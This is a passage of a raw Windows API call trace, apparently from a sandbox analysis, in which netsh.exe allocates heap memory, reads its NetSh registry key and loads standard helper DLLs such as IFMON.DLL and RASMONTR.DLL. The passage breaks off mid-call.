0x11aa58aff00 [0128.064] GetProcessHeap () returned 0x11aa58a0000 [0128.064] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58affa0 [0128.064] GetProcessHeap () returned 0x11aa58a0000 [0128.064] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58affe0 [0128.064] GetProcessHeap () returned 0x11aa58a0000 [0128.064] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0000 [0128.064] GetProcessHeap () returned 0x11aa58a0000 [0128.064] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0060 [0128.064] GetProcessHeap () returned 0x11aa58a0000 [0128.064] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0080 [0128.064] GetProcessHeap () returned 0x11aa58a0000 [0128.064] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b00a0 [0128.064] GetProcessHeap () returned 0x11aa58a0000 [0128.064] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0140 [0128.064] GetProcessHeap () returned 0x11aa58a0000 [0128.064] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0530 [0128.064] GetProcessHeap () returned 0x11aa58a0000 [0128.064] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0650 [0128.064] GetProcessHeap () returned 0x11aa58a0000 [0128.064] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b08f0 [0128.064] GetProcessHeap () returned 0x11aa58a0000 [0128.064] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0cb0 [0128.064] GetProcessHeap () returned 0x11aa58a0000 [0128.065] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b09b0 [0128.065] GetProcessHeap () returned 0x11aa58a0000 [0128.065] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b08d0 [0128.065] GetProcessHeap () returned 0x11aa58a0000 [0128.065] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0890 [0128.065] GetProcessHeap () returned 0x11aa58a0000 [0128.065] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0b90 [0128.065] GetProcessHeap () returned 0x11aa58a0000 [0128.065] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0910 [0128.065] GetProcessHeap () returned 0x11aa58a0000 [0128.065] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0bb0 [0128.065] GetProcessHeap () returned 0x11aa58a0000 [0128.065] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0870 [0128.065] GetProcessHeap () returned 0x11aa58a0000 [0128.065] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0af0 [0128.065] GetProcessHeap () returned 0x11aa58a0000 [0128.065] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0990 [0128.065] GetProcessHeap () returned 0x11aa58a0000 [0128.065] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0950 [0128.065] GetProcessHeap () returned 0x11aa58a0000 [0128.065] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b07d0 [0128.065] GetProcessHeap () returned 0x11aa58a0000 [0128.065] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0b10 [0128.065] GetProcessHeap () returned 0x11aa58a0000 [0128.065] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0bd0 [0128.065] GetProcessHeap () returned 0x11aa58a0000 [0128.065] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0750 [0128.065] GetProcessHeap () returned 0x11aa58a0000 [0128.065] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0a50 [0128.065] GetProcessHeap () returned 0x11aa58a0000 [0128.065] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0930 [0128.065] GetProcessHeap () returned 0x11aa58a0000 [0128.065] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0c50 [0128.065] GetProcessHeap () returned 0x11aa58a0000 [0128.065] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0550 [0128.065] GetProcessHeap () returned 0x11aa58a0000 [0128.065] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b07b0 [0128.065] GetProcessHeap () returned 0x11aa58a0000 [0128.065] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b07f0 [0128.065] GetProcessHeap () returned 0x11aa58a0000 [0128.065] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0bf0 [0128.065] GetProcessHeap () returned 0x11aa58a0000 [0128.065] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0810 [0128.065] GetProcessHeap () returned 0x11aa58a0000 [0128.065] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0590 [0128.065] GetProcessHeap () returned 0x11aa58a0000 [0128.065] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0830 [0128.065] GetProcessHeap () returned 0x11aa58a0000 [0128.066] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b09d0 [0128.066] GetProcessHeap () returned 0x11aa58a0000 [0128.066] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0850 [0128.066] GetProcessHeap () returned 0x11aa58a0000 [0128.066] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0710 [0128.066] GetProcessHeap () returned 0x11aa58a0000 [0128.066] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0670 [0128.066] GetProcessHeap () returned 0x11aa58a0000 [0128.066] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b08b0 [0128.066] GetProcessHeap () returned 0x11aa58a0000 [0128.066] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0970 [0128.066] GetProcessHeap () returned 0x11aa58a0000 [0128.066] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b05b0 [0128.066] GetProcessHeap () returned 0x11aa58a0000 [0128.066] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0690 [0128.066] GetProcessHeap () returned 0x11aa58a0000 [0128.066] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0c30 [0128.066] GetProcessHeap () returned 0x11aa58a0000 [0128.066] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0b30 [0128.066] GetProcessHeap () returned 0x11aa58a0000 [0128.066] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0ab0 [0128.066] GetProcessHeap () returned 0x11aa58a0000 [0128.066] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0770 [0128.066] GetProcessHeap () returned 0x11aa58a0000 [0128.066] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0b50 [0128.066] GetProcessHeap () returned 0x11aa58a0000 [0128.066] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0a30 [0128.066] GetProcessHeap () returned 0x11aa58a0000 [0128.066] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b09f0 [0128.066] GetProcessHeap () returned 0x11aa58a0000 [0128.066] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b06f0 [0128.066] GetProcessHeap () returned 0x11aa58a0000 [0128.066] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0c10 [0128.066] GetProcessHeap () returned 0x11aa58a0000 [0128.066] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0a10 [0128.066] GetProcessHeap () returned 0x11aa58a0000 [0128.066] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0570 [0128.066] GetProcessHeap () returned 0x11aa58a0000 [0128.066] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0a70 [0128.066] GetProcessHeap () returned 0x11aa58a0000 [0128.066] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0a90 [0128.066] GetProcessHeap () returned 0x11aa58a0000 [0128.066] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0790 [0128.066] GetProcessHeap () returned 0x11aa58a0000 [0128.067] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b05d0 [0128.067] GetProcessHeap () returned 0x11aa58a0000 [0128.067] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0ad0 [0128.067] GetProcessHeap () returned 0x11aa58a0000 [0128.067] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0b70 [0128.067] GetProcessHeap () returned 0x11aa58a0000 [0128.067] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0630 [0128.067] GetProcessHeap () returned 0x11aa58a0000 [0128.067] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0c70 [0128.067] GetProcessHeap () returned 0x11aa58a0000 [0128.067] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0c90 [0128.067] GetProcessHeap () returned 0x11aa58a0000 [0128.067] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b05f0 [0128.067] GetProcessHeap () returned 0x11aa58a0000 [0128.067] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0610 [0128.067] GetProcessHeap () returned 0x11aa58a0000 [0128.067] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b06b0 [0128.067] GetProcessHeap () returned 0x11aa58a0000 [0128.067] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b06d0 [0128.067] GetProcessHeap () returned 0x11aa58a0000 [0128.067] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0730 [0128.067] GetProcessHeap () returned 0x11aa58a0000 [0128.067] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0fc0 [0128.067] GetProcessHeap () returned 0x11aa58a0000 [0128.067] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b11c0 [0128.067] GetProcessHeap () returned 0x11aa58a0000 [0128.067] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0f00 [0128.067] GetProcessHeap () returned 0x11aa58a0000 [0128.067] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0f80 [0128.067] GetProcessHeap () returned 0x11aa58a0000 [0128.067] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b1180 [0128.067] GetProcessHeap () returned 0x11aa58a0000 [0128.067] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b1280 [0128.067] GetProcessHeap () returned 0x11aa58a0000 [0128.067] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b1300 [0128.067] GetProcessHeap () returned 0x11aa58a0000 [0128.067] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b1200 [0128.067] GetProcessHeap () returned 0x11aa58a0000 [0128.067] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0fe0 [0128.068] GetProcessHeap () returned 0x11aa58a0000 [0128.068] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0da0 [0128.068] GetProcessHeap () returned 0x11aa58a0000 [0128.068] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0f60 [0128.068] GetProcessHeap () returned 0x11aa58a0000 [0128.068] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b1000 [0128.068] GetProcessHeap () returned 0x11aa58a0000 [0128.068] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b1020 [0128.068] GetProcessHeap () returned 0x11aa58a0000 [0128.068] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b1340 [0128.068] GetProcessHeap () returned 0x11aa58a0000 [0128.068] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0e40 [0128.068] GetProcessHeap () returned 0x11aa58a0000 [0128.068] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b12a0 [0128.068] GetProcessHeap () returned 0x11aa58a0000 [0128.068] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0d40 [0128.068] GetProcessHeap () returned 0x11aa58a0000 [0128.068] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0e20 [0128.068] GetProcessHeap () returned 0x11aa58a0000 [0128.068] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b11a0 [0128.068] GetProcessHeap () returned 0x11aa58a0000 [0128.068] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b1260 [0128.068] GetProcessHeap () returned 0x11aa58a0000 [0128.068] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0d60 [0128.068] GetProcessHeap () returned 0x11aa58a0000 [0128.068] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b1040 [0128.068] GetProcessHeap () returned 0x11aa58a0000 [0128.068] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b10e0 [0128.068] GetProcessHeap () returned 0x11aa58a0000 [0128.068] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b1440 [0128.068] GetProcessHeap () returned 0x11aa58a0000 [0128.068] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0ec0 [0128.068] GetProcessHeap () returned 0x11aa58a0000 [0128.068] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b0e60 [0128.068] GetProcessHeap () returned 0x11aa58a0000 [0128.068] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b1220 [0128.068] GetProcessHeap () returned 0x11aa58a0000 [0128.068] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58b11e0 [0128.069] _wcsicmp (_String1="netsh.exe", _String2="ipxmontr.dll") returned 5 [0128.069] _wcsicmp (_String1="netsh.exe", _String2="ipxpromn.dll") returned 5 [0128.069] GetProcessHeap () returned 0x11aa58a0000 [0128.069] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x28) returned 0x11aa58ab9d0 [0128.069] GetProcessHeap () returned 0x11aa58a0000 [0128.069] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x2) returned 0x11aa58adfa0 [0128.069] GetProcessHeap () returned 0x11aa58a0000 [0128.069] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x14) returned 0x11aa58b0d80 [0128.069] _wcsupr (in: _String="netsh.exe" | out: _String="NETSH.EXE") returned="NETSH.EXE" [0128.069] GetProcessHeap () returned 0x11aa58a0000 [0128.069] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x0) returned 1 [0128.069] GetProcessHeap () returned 0x11aa58a0000 [0128.069] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x58) returned 0x11aa58a56b0 [0128.069] GetProcessHeap () returned 0x11aa58a0000 [0128.069] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x0) returned 1 [0128.069] GetProcessHeap () returned 0x11aa58a0000 [0128.069] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xb0) returned 0x11aa58a5030 [0128.069] GetProcessHeap () returned 0x11aa58a0000 [0128.069] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58a56b0) returned 1 [0128.069] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-0.dll", hFile=0x0, dwFlags=0x8) returned 0x7ffcbe760000 [0128.071] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\NetSh", ulOptions=0x0, samDesired=0x20019, phkResult=0x14708f7928 | out: phkResult=0x14708f7928*=0xb4) returned 0x0 [0128.072] RegQueryInfoKeyW (in: hKey=0xb4, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x14708f7960, lpcbMaxValueNameLen=0x14708f7970, lpcbMaxValueLen=0x14708f7968, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x14708f7960*=0x14, lpcbMaxValueNameLen=0x14708f7970, lpcbMaxValueLen=0x14708f7968, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0128.072] GetProcessHeap () returned 0x11aa58a0000 [0128.072] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x8, Size=0x16) returned 0x11aa58b1240 [0128.072] GetProcessHeap () returned 0x11aa58a0000 [0128.072] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x8, Size=0x23) returned 0x11aa58ab880 [0128.072] RegEnumValueW (in: hKey=0xb4, dwIndex=0x0, lpValueName=0x11aa58b1240, lpcchValueName=0x14708f7920, lpReserved=0x0, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978 | out: lpValueName="2", lpcchValueName=0x14708f7920, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978) returned 0x0 [0128.072] _wcsicmp (_String1="ifmon.dll", _String2="ipxmontr.dll") returned -10 [0128.072] _wcsicmp (_String1="ifmon.dll", _String2="ipxpromn.dll") returned -10 [0128.072] GetProcessHeap () returned 0x11aa58a0000 [0128.072] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x50) returned 0x11aa58b16d0 [0128.072] GetProcessHeap () returned 0x11aa58a0000 [0128.073] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x4) returned 0x11aa58adf70 [0128.073] GetProcessHeap () returned 0x11aa58a0000 [0128.073] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x14) returned 0x11aa58b12c0 [0128.073] _wcsupr (in: _String="ifmon.dll" | out: _String="IFMON.DLL") returned="IFMON.DLL" [0128.073] GetProcessHeap () returned 0x11aa58a0000 [0128.073] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ab9d0) returned 1 [0128.073] LoadLibraryExW (lpLibFileName="IFMON.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcb76b0000 [0128.088] GetProcAddress (hModule=0x7ffcb76b0000, lpProcName="InitHelperDll") returned 0x7ffcb76b1310 [0128.088] InitHelperDll () returned 0x0 [0128.091] RegisterHelper () returned 0x0 [0128.091] GetProcessHeap () returned 0x11aa58a0000 [0128.091] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x108) returned 0x11aa58a42e0 [0128.091] GetProcessHeap () returned 0x11aa58a0000 [0128.091] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58a5030) returned 1 [0128.106] RegEnumValueW (in: hKey=0xb4, dwIndex=0x1, lpValueName=0x11aa58b1240, lpcchValueName=0x14708f7920, lpReserved=0x0, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978 | out: lpValueName="4", lpcchValueName=0x14708f7920, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978) returned 0x0 [0128.106] _wcsicmp (_String1="rasmontr.dll", _String2="ipxmontr.dll") returned 9 [0128.106] _wcsicmp (_String1="rasmontr.dll", _String2="ipxpromn.dll") returned 9 [0128.106] GetProcessHeap () returned 0x11aa58a0000 [0128.106] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x78) returned 0x11aa58a5030 [0128.107] GetProcessHeap () returned 0x11aa58a0000 [0128.107] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x4) returned 0x11aa58adf00 [0128.107] GetProcessHeap () returned 0x11aa58a0000 [0128.107] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x1a) returned 0x11aa58ab8b0 [0128.107] _wcsupr (in: _String="rasmontr.dll" | out: _String="RASMONTR.DLL") returned="RASMONTR.DLL" [0128.107] GetProcessHeap () returned 0x11aa58a0000 [0128.107] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b16d0) returned 1 [0128.107] LoadLibraryExW (lpLibFileName="RASMONTR.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcb6ba0000 [0128.213] LoadLibraryExA (lpLibFileName="MSVCRT.DLL", hFile=0x0, dwFlags=0x800) returned 0x7ffcc0bb0000 [0128.214] GetVersion () returned 0x3ad7000a [0128.214] SetErrorMode (uMode=0x0) returned 0x0 [0128.214] SetErrorMode (uMode=0x8001) returned 0x0 [0128.214] LocalAlloc (uFlags=0x0, uBytes=0x2000) returned 0x11aa58c2c20 [0128.214] LocalFree (hMem=0x11aa58c2c20) returned 0x0 [0128.214] GetVersion () returned 0x3ad7000a [0128.216] GlobalLock (hMem=0x11aa7330008) returned 0x11aa58c2c20 [0128.216] LocalAlloc (uFlags=0x40, uBytes=0x340) returned 0x11aa58c2e40 [0128.216] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x11aa58b9390 [0128.216] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0x11aa58b1360 [0128.216] malloc (_Size=0x100) returned 0x11aa5b86de0 [0128.217] __dllonexit () returned 0x7ffcb5d11200 [0128.217] __dllonexit () returned 0x7ffcb5d111f0 [0128.218] __dllonexit () returned 0x7ffcb5d11240 [0128.218] __dllonexit () returned 0x7ffcb5d112a0 [0128.218] __dllonexit () returned 0x7ffcb5d11390 [0128.218] __dllonexit () returned 0x7ffcb5d113a0 [0128.218] __dllonexit () returned 0x7ffcb5d11420 [0128.218] __dllonexit () returned 0x7ffcb5d114c0 [0128.218] __dllonexit () returned 0x7ffcb5d112c0 [0128.218] __dllonexit () returned 0x7ffcb5d359c0 [0128.218] __dllonexit () returned 0x7ffcb5d112e0 [0128.218] __dllonexit () returned 0x7ffcb5d11470 [0128.218] __dllonexit () returned 0x7ffcb5d11490 [0128.219] __dllonexit () returned 0x7ffcb5d114e0 [0128.219] __dllonexit () returned 0x7ffcb5d11500 [0128.219] __dllonexit () returned 0x7ffcb5d11520 [0128.219] __dllonexit () returned 0x7ffcb5d11550 [0128.219] __dllonexit () returned 0x7ffcb5d11610 [0128.219] __dllonexit () returned 0x7ffcb5d11050 [0128.219] __dllonexit () returned 0x7ffcb5d11070 [0128.219] __dllonexit () returned 0x7ffcb5d11030 [0128.221] RegisterClipboardFormatW (lpszFormat="commctrl_DragListMsg") returned 0xc154 [0128.222] __dllonexit () returned 0x7ffcb5d359a0 [0128.222] __dllonexit () returned 0x7ffcb5d35980 [0128.222] __dllonexit () returned 0x7ffcb5d359b0 [0128.222] __dllonexit () returned 0x7ffcb5d35990 [0128.222] GetVersion () returned 0x3ad7000a [0128.222] GetVersion () returned 0x3ad7000a [0128.222] GetVersion () returned 0x3ad7000a [0128.222] __dllonexit () returned 0x7ffcb5d228e0 [0128.222] __dllonexit () returned 0x7ffcb5d22910 [0128.222] __dllonexit () returned 0x7ffcb5d11300 [0128.223] __dllonexit () returned 0x7ffcb5d113b0 [0128.223] __dllonexit () returned 0x7ffcb5d113d0 [0128.223] __dllonexit () returned 0x7ffcb5d226e0 [0128.223] GetVersion () returned 0x3ad7000a [0128.223] GetProcessVersion (ProcessId=0x0) returned 0xa0000 [0128.223] GetSystemMetrics (nIndex=11) returned 32 [0128.223] GetSystemMetrics (nIndex=12) returned 32 [0128.223] GetSystemMetrics (nIndex=2) returned 17 [0128.223] GetSystemMetrics (nIndex=3) returned 17 [0128.223] GetDC (hWnd=0x0) returned 0x9010544 [0128.223] GetDeviceCaps (hdc=0x9010544, index=88) returned 96 [0128.223] GetDeviceCaps (hdc=0x9010544, index=90) returned 96 [0128.223] ReleaseDC (hWnd=0x0, hDC=0x9010544) returned 1 [0128.223] GetSysColor (nIndex=15) returned 0xf0f0f0 [0128.223] GetSysColor (nIndex=16) returned 0xa0a0a0 [0128.223] GetSysColor (nIndex=20) returned 0xffffff [0128.223] GetSysColor (nIndex=18) returned 0x0 [0128.223] GetSysColor (nIndex=6) returned 0x646464 [0128.223] GetSysColorBrush (nIndex=15) returned 0x100072 [0128.223] GetSysColorBrush (nIndex=6) returned 0x10007a [0128.224] LoadCursorW (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0128.224] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0128.224] __dllonexit () returned 0x7ffcb5d11450 [0128.224] RegisterClipboardFormatW (lpszFormat="commdlg_FindReplace") returned 0xc153 [0128.224] __dllonexit () returned 0x7ffcb5d226c0 [0128.224] RegisterClipboardFormatW (lpszFormat="Native") returned 0xc004 [0128.224] RegisterClipboardFormatW (lpszFormat="OwnerLink") returned 0xc003 [0128.224] RegisterClipboardFormatW (lpszFormat="ObjectLink") returned 0xc002 [0128.224] RegisterClipboardFormatW (lpszFormat="Embedded Object") returned 0xc00a [0128.224] RegisterClipboardFormatW (lpszFormat="Embed Source") returned 0xc00b [0128.224] RegisterClipboardFormatW (lpszFormat="Link Source") returned 0xc00d [0128.224] RegisterClipboardFormatW (lpszFormat="Object Descriptor") returned 0xc00e [0128.224] RegisterClipboardFormatW (lpszFormat="Link Source Descriptor") returned 0xc00f [0128.224] RegisterClipboardFormatW (lpszFormat="FileName") returned 0xc006 [0128.224] RegisterClipboardFormatW (lpszFormat="FileNameW") returned 0xc007 [0128.224] RegisterClipboardFormatW (lpszFormat="Rich Text Format") returned 0xc07a [0128.224] RegisterClipboardFormatW (lpszFormat="RichEdit Text and Objects") returned 0xc083 [0128.225] RegisterClipboardFormatW (lpszFormat="commdlg_FindReplace") returned 0xc153 [0128.225] __dllonexit () returned 0x7ffcb5d359d0 [0128.225] __dllonexit () returned 0x7ffcb5d359f0 [0128.225] __dllonexit () returned 0x7ffcb5d35a00 [0128.225] __dllonexit () returned 0x7ffcb5d35a10 [0128.225] __dllonexit () returned 0x7ffcb5d35a20 [0128.225] GetCursorPos (in: 